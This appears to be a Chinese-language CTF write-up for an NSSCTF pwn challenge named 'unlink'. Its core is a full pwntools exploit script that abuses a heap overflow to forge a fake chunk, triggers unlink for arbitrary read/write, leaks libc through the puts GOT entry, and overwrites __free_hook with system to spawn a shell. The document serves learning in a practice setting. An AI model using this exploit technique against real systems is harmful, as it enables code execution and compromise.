在前期学习了unlink后,今天翻NSSCTF找到一道名为unlink的题目,尝试不看wp做。过程很顺利!
前言
题目对于知识点unlink还是非常裸的,很直接,思路很清晰。
一、题目
二、思路浅析
通过对该程序的反编译,我们发现存在存储malloc得到空间地址的指针序列,存放在bss段上,同时take_note存在溢出漏洞,可以出发unlink——将指针劫持到bss段上指针序列地址。同时malloc到的指针区域有着读写权限,这意味着我们可以通过unlink达到任意地址读写的极高权限!
很明显:
1.unlink
2.__free_hook劫持
三、exp
先给出exp,再把exp过程部分断点效果展示给大家,方便大家理解。(第四部分,对于raw_input()断下处,进行gdb调试分析)
from pwn import *
from pwn import p64,u64
context(arch='amd64',log_level='debug')
# io=process('./pwn')
io=remote('node4.anna.nssctf.cn',28867)
elf=ELF('./pwn')
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def touch(size):
io.sendlineafter(b'chooice :\n',b'1')
io.sendlineafter(b'size : \n',str(size).encode())
def delete(index):
io.sendlineafter(b'chooice :\n',b'2')
io.sendlineafter(b'to delete\n',str(index).encode())
def show(index):
io.sendlineafter(b'chooice :\n',b'3')
io.sendlineafter(b'to show\n',str(index).encode())
io.recvuntil(b'is : ')
def take_note(index,payload):
io.sendlineafter(b'chooice :\n',b'4')
io.sendlineafter(b'modify :\n',str(index).encode())
io.sendafter(b'content\n',payload)
if input('[!]Input "0" to gdb attach : ')=='0':
gdb.attach(io)
buf=0x6020C0
touch(0x20) # 写fake-chunk、溢出下一个chunk
touch(0x80) # free触发unlink
touch(0x100) # 防止和topchunk合并
raw_input('[!]check')
# 写fake-chunk,溢出下一个chunk
prev_size=p64(0)
chunk_size=p64(0x20)
fd=buf-0x18
bk=buf-0x10
content=p64(fd)+p64(bk)
of_prev_size=p64(0x20)
of_chunk_size=p64(0x90)
payload=prev_size+chunk_size+content+of_prev_size+of_chunk_size
take_note(0,payload)
raw_input('[!]check')
# 触发unlink
delete(1)
raw_input('[!]check')
# 修改系列ptr的值
payload=p64(0)*3+p64(0x6020c8)
take_note(0,payload)
raw_input('[!]check')
# 通过puts泄露libc地址
payload=p64(elf.got['puts'])
take_note(0,payload)
raw_input('[!]check')
show(1)
puts=u64(io.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
success(hex(puts))
# __free_hook
libc_base=puts-libc.sym['puts']
free_hook=libc_base+libc.sym['__free_hook']
bin_sh_str=libc_base+next(libc.search(b'/bin/sh\x00'))
payload=p64(free_hook)+p64(bin_sh_str)
take_note(0,payload)
raw_input('[!]check')
system=libc_base+libc.sym['system']
take_note(1,p64(system))
raw_input('[!]check')
delete(2)
io.interactive()
四、exp效果具体分析
1.fake_chunk部分
这是刚分配完三个chunk后的内存情况,当我们执行下面这些语句构造fake_chunk
2.触发unlink
由于我们已经内存精心布置过,这是我们free chunk1能够向前合并chunk0中构造的fake_chunk且绕过保护机制
利用成功!
3.稍作修改
实际已经获得了任意地址读写的能力,但是个人习惯,先将上面的地址稍稍改一下
4.任意地址读——泄露libc——泄露puts真实地址
首先将puts的got表地址写到bss上,再通过show函数访问栈上指针指向的区域,也即puts_got内存储的东西——puts的真实地址,通过相对地址可泄露libc基址进而获得其他需要的函数/字符串地址
5.劫持__free_hook
思路是将__free_hook的got表写在chunk1指针处,将指向字符串'/bin/sh\x00'的指针写在chunk2位置,然后通过take_note函数写__free_hook为system,再free掉chunk2触发system('/bin/sh\x00')
成功获得shell(这里是本地调试)